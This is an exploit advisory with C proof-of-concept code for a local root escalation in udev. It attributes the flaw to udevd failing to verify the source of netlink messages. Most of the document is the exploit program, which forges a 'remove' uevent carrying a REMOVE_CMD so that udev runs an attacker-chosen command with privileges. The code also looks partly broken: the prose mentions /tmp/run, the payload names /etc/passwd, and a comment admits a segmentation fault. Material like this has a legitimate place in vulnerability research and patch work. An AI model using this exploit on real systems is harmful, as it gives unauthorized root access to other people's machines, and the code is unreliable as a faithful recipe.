Linux Kernel 4.8.0 udev 232 Privilege Escalation

2017.04.15
Credit: Nassim Asrir
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

# Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation # Author: Nassim Asrir # Researcher at: Henceforth # Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ # The full Research: https://www.facebook.com/asrirnassim/ # CVE: CVE-2017-7874 # Exp # first of all we need to know a small infos about udev and how it work the udev deamon is responsible for receiving device events from the kernel and this event are delivered to udev via netlink (is a socket family) you can read more about udev from: https://en.wikipedia.org/wiki/Udev # Exploit # The udev vulnerability resulted from a lack of verification of the netlink message source in udevd. read lines from: /lib/udev/rules.d/50-udev-default.rules all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}" this action allows execution of arbitrary commands. in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file. Get your udev version: Execute: $ udevadm --version //output: 232 Maybe < 232 also is vulnerable // gcc rootme.c -o rootme // ./rootme // segmantation fault #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h> #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; }


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